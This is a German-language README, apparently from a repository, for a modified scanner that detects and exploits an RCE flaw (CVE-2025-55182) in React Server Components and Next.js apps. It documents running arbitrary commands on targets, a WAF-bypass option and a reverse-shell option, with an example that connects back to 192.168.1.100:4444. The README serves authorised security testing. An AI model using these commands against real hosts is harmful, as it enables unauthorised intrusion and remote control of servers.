
Eine weiterentwickelte Version des CVE-2025-55182-Scanners von assetnote.
Hochpräzise Erkennung für RSC/Next.js-RCE
Scanner zur Erkennung von Remote-Code-Execution-Schwachstellen (RCE) in React-Server-Components- und Next.js-Anwendungen.
Der React2Shell Scanner ist ein spezialisiertes Werkzeug zur Identifizierung von Schwachstellen für Remote-Code-Ausführung (RCE) in Anwendungen, die React Server Components (RSC) und Next.js verwenden. Das Tool erkennt Schwachstellen im Zusammenhang mit den folgenden CVEs:
Das Tool führt hochpräzise Überprüfungen mittels Side-Channel-Erkennung und RCE-Proof-of-Concept durch und kann dynamische Ergebnisse ausgeführter Befehle durch automatisches Parsen der HTTP-Antworten extrahieren.
Dies ist eine von @imguimoraes bearbeitete Version des ursprünglichen Scanners, der vom Assetnote Security Research Team entwickelt wurde. Der ursprüngliche RCE-PoC wurde von @maple3142 erstellt.
pip install requests tqdm
Oder mithilfe der Datei requirements.txt:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [opções]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| Opção | Beschreibung |
|---|---|
-u, --url URL | Einzelne URL oder Host zur Überprüfung |
-l, --list FILE | Datei mit einer Hostliste (ein Host pro Zeile) |
| Option | Beschreibung |
|---|---|
-t, --threads N | Anzahl gleichzeitiger Threads (Standard: 10) |
--timeout SECONDS | Timeout der Anfragen in Sekunden (Standard: 10) |
-k, --insecure | SSL-Zertifikatsprüfung deaktivieren (standardmäßig aktiviert) |
| Option | Beschreibung |
|---|---|
-o, --output FILE | Ausgabedatei für Ergebnisse im JSON-Format |
--all-results | Alle Ergebnisse in der Datei speichern, nicht nur verwundbare |
-v, --verbose | Ausführliche Ausgabe (zeigt Antwort-Ausschnitte zur Analyse) |
-q, --quiet | Stiller Modus (zeigt nur verwundbare Hosts) |
--no-color | Farbige Ausgabe deaktivieren |
| Option | Beschreibung |
|---|---|
-H, --header "Key: Value" | Benutzerdefinierten HTTP-Header hinzufügen (kann mehrfach verwendet werden) |
| Option | Beschreibung |
|---|---|
--safe-check | Sichere Side-Channel-Erkennung anstelle von RCE-PoC verwenden (führt keinen Code aus) |
--windows | PowerShell-Payload anstelle von Unix-Shell verwenden (für Windows-Umgebungen) |
--waf-bypass | Zufallsdaten zum Payload hinzufügen für WAF-Bypass (Standard: 128 KB) |
--waf-bypass-size KB | Größe der Zufallsdaten in KB für WAF-Bypass (Standard: 128) |
--payload COMMAND | Benutzerdefinierter Befehl zur Ausführung im RCE (Standard: echo $((41*271))) |
--reverse-shell IP:PORT | Reverse-Shell-Verbindung zur angegebenen IP:PORT erstellen |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
Der Scanner zeigt Ergebnisse mit Farbcodes an, die den Status angeben:
Bei verwundbaren Hosts wird das Ergebnis des ausgeführten Befehls angezeigt, sofern verfügbar, durch automatische Extraktion aus dem Header X-Action-Redirect oder dem Antwort-Body.
Wenn die Option -o verwendet wird, wird die Ausgabe im JSON-Format mit der folgenden Struktur gespeichert:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
Felder des Ergebnisses:
vulnerable: true, wenn verwundbar, false, wenn nicht verwundbar, null, wenn ein Fehler aufgetreten istcommand_result: Ergebnis des ausgeführten Befehls, extrahiert aus der Antwort (wenn verfügbar)final_url: Endgültig getestete URL (nach dem Verfolgen von Weiterleitungen, sofern aktiviert)status_code: HTTP-Statuscode der Antwortrequest: Vollständige gesendete HTTP-Anfrageresponse: Empfangene HTTP-Antwort (erste 2000 Zeichen)error: Fehlermeldung, falls vorhandentimestamp: UTC-Zeitstempel der ÜberprüfungDer Scanner bietet zwei Erkennungsmethoden:
Safe Check (--safe-check): Nicht-invasive Side-Channel-Erkennung, die Fehlermuster in der Antwort prüft, ohne Code auszuführen. Nützlich für einen ersten Scan ohne Auswirkungen.
RCE-PoC: Tatsächliche Ausführung von Remote-Code mit dynamischer Extraktion der Ergebnisse. Verwendet Payloads auf Basis von Node.js child_process zur Ausführung von Systembefehlen.
Der Scanner parst automatisch die HTTP-Antworten, um Ergebnisse ausgeführter Befehle zu extrahieren:
X-Action-Redirect (Format: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} oder 1:E{"digest":"<result>"})--payloadDie Extraktion erfolgt dynamisch und ist nicht von festen Werten abhängig, sodass die Ausführung jedes beliebigen Befehls validiert werden kann.
Wenn die Option --waf-bypass verwendet wird:
--waf-bypass-size (Standard: 128 KB)Der Parameter --payload ermöglicht die Angabe eines beliebigen auszuführenden Befehls:
echo $((41*271)) (Ergebnis: 11111)--windows aktiv istDas Ergebnis des Befehls wird automatisch extrahiert und angezeigt, unabhängig vom zurückgegebenen Wert.
Die Option --reverse-shell ermöglicht das Herstellen einer Reverse-Shell-Verbindung:
IP:PORT (Beispiel: 192.168.1.100:4444)powershell.exe/bin/shDieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt.
Der ursprüngliche RCE-Exploit wurde von @maple3142 erstellt.
Der ursprüngliche Scanner wurde vom Assetnote Security Research Team entwickelt:
Diese bearbeitete Version behält die Funktionen des ursprünglichen Scanners bei und bietet zusätzliche Verbesserungen:
Bearbeitet von: guiimoraes
Wenn Sie Fehler finden oder Verbesserungsvorschläge haben, eröffnen Sie bitte ein Issue im Repository und beschreiben Sie das Problem detailliert.